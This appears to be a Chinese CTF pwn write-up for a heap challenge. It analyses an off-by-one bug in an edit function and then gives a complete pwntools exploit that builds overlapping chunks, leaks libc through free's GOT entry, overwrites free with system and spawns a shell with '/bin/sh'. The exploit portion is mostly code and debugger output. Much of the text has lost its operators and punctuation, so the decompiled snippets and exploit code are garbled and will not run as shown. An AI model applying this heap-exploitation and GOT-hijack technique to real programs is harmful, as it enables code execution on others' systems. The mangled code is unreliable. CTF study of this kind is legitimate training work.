64 位程序未开启 PIE主函数提供增删改打印功能先看 delfree(*(void **)(*((_QWORD *)heaparray v1) 8LL)); // 释放内容块 (C) free(*((void **)heaparray v1)); // 释放管理块 (M) *((_QWORD *)heaparray v1) 0LL; // 置零管理块指针free 了两个堆块看似只置零了一个堆块的指针实际入口被封死程序所有的edit、show、delete函数第一步都是检查if (heaparray[v1])因此不存在 uaf接着我们看 create依旧是管理块 数据块的堆题结构*((_QWORD *)heaparray i) malloc(0x10uLL); //管理块分配 *(_QWORD *)(v0 8) malloc(size); //数据块分配// 将用户输入的 size 存入管理块的开头 (Offset 0) **((_QWORD **)heaparray i) size; // 将用户输入的内容读入管理块偏移 8 处存的指针所指向的地址 read_input(*(_QWORD *)(*((_QWORD *)heaparray i) 8LL), size);接着我们看 editread_input(*(_QWORD *)(*((_QWORD *)heaparray v1) 8LL), **((_QWORD **)heaparray v1) 1LL);从heaparray[v1]指向的管理块中偏移8的位置取出数据块指针content_ptr从heaparray[v1]指向的管理块中偏移0的位置取出之前存的size调用read_input往content_ptr里写数据但长度传的是size 1LL存在Off-by-One然后是 showprintf( Size : %ld\nContent : %s\n, **((_QWORD **)heaparray v1), // 取出 size 字段 *(const char **)(*((_QWORD *)heaparray v1) 8LL) // 取出 content_ptr 并作为字符串打印 );总结程序每次add都会申请两个块一个固定0x10的M管理块和一个自定义大小的D数据块。申请0x18是为了让你的数据末尾刚好顶在下一个块的 Size 字段门前。这样edit溢出的那1 个字节才能绕过任何填充Padding直接改写M1的0x21。如果你申请的是0x10中间会留下 8 字节的空隙溢出 1 字节只会改写到无意义的填充位。申请D1数据块为0x10它的物理大小也是0x20。此时M1D1的物理总大小正好是0x20 0x20 0x40我们在第一步溢出时把M1的 Size 从0x21改成了0x41。当你free(1)时系统会刚好把这连在一起的两个块当成一个整体回收掉。add(0x18)利用对齐边界。目的是让D0的结尾M1的开头。add(0x10)利用大小凑整。目的是让M1 D1的总和我们伪造出来的那个0x40。expfrom pwn import * context(oslinux, archamd64) #io process(./pwn) io gdb.debug(./pwn, b main c ) elf ELF(./pwn) libc ELF(/lib/x86_64-linux-gnu/libc.so.6) def add(size, content): io.sendlineafter(bchoice :, b1) io.sendlineafter(bSize of Heap : , str(size).encode()) io.sendafter(bContent of heap:, content) def edit(index, content): io.sendlineafter(bchoice :, b2) io.sendlineafter(bIndex :, str(index).encode()) io.sendafter(bContent of heap : , content) def show(index): io.sendlineafter(bchoice :, b3) io.sendlineafter(bIndex :, str(index).encode()) def delete(index): io.sendlineafter(bchoice :, b4) io.sendlineafter(bIndex :, str(index).encode()) add(0x18, baaaa) # Index 0 add(0x10, bbbbb) # Index 1 edit(0, b/bin/sh\x00 bA * 0x10 b\x41) delete(1) free_got elf.got[free] payload p64(0x10) p64(free_got) ba*24 p64(free_got) add(0x30, payload) show(1) io.recvuntil(bContent : ) free_addr u64(io.recv(6).ljust(8, b\x00)) libc_base free_addr - libc.symbols[free] system_addr libc_base libc.symbols[system] edit(1, p64(system_addr)) delete(0) io.interactive()调试执行完第一次 add管理快M00x3d339290它的数据区起始于0x3d3392a0里面存放着两个 8 字节的数据D0 的大小 (0x18)和D0 的指针 (0x3d3392c0)数据块D00x3d3392b0它的数据区起始于0x3d3392c0里面存放着我们输入的内容aaaa再次执行 add可以看到我们等会 Off-by-one 的目标也就是 管理快M1 的 Size继续执行edit(0, b/bin/sh\x00 bA * 0x10 b\x41)0x3d3392c0填入了/bin/sh\x000x3d3392c8填入了 8 个A,0x3d3392d0填入了 8 个A0x3d3392d8溢出的那个\x41刚好覆盖了原来的0x21接下来 delete(1)也就是 free(D1) 和 free(M1)D1的地址是0x3d3392f0数据区在0x3d339300它的Size是0x21我们没改过它结果它进入了0x20大小的 tcachebinM1的地址是0x3d3392d0数据区在0x3d3392e0它的Size被我们改成了0x41因此它被放进了0x40大小的 tcachebin接下来我们需要把这个 0x40 的块申请回来payload p64(0x10) p64(free_got) ba*24 p64(free_got) add(0x30, payload)这个堆块起始于0x3d3392d0数据从0x3d3392e0开始写入add 传入的内容前 8 字节对应内容是size这里可以随便填数值偏移8对应内容为数据块的指针也就是我们要覆盖的目标这里覆盖为free_got再往后的 24 字节分别对应的是M1 尾部、D1-prev_size、D1-sizeD1由于堆块重叠已经被吞了所以直接都填充垃圾数据即可ba*24但是最后的 8 字节就很玄学了这里还是填free_got再往后的 8 字节就是下一个堆块通常是Top Chunk的起始头部 prev_size这里如果不想管那么多直接全覆盖为free_gotpayload p64(free_got) * 4也可以打通至此我们已经成功将Index 1的指针改成了free_got接下来调用show(1)程序原本的逻辑是“打印第 1 个块的内容”。因为改了指针它现在会去free_got地址处读数据。那么我们接收 free 函数的真实地址io.recvuntil(bContent : ) free_addr u64(io.recv(6).ljust(8, b\x00))leak libc 后计算基地址进而计算 system 函数edit(1, p64(system_addr))的地址libc_base free_addr - libc.symbols[free] system_addr libc_base libc.symbols[system]接下来我们劫持 GOT 表edit(1, p64(system_addr))因为Index 1的指针指向free_got所以我们写入的system_addr会直接覆盖掉 GOT 表中free的地址执行 edit 前查看内存地址的值x/gx 0x602018显示的是free的真实地址执行后成功劫持为 system 函数的地址最后执行delete(0)即free(heaparray[0]-content_ptr)由于前面我们已经将/bin/sh\x00写到了0x3d3392c0也就是 D0Index 0 的数据块所以这里就是 free(/bin/sh)但因为free_got也被我们改成了system所以实际执行的是system(/bin/sh),直接 getshell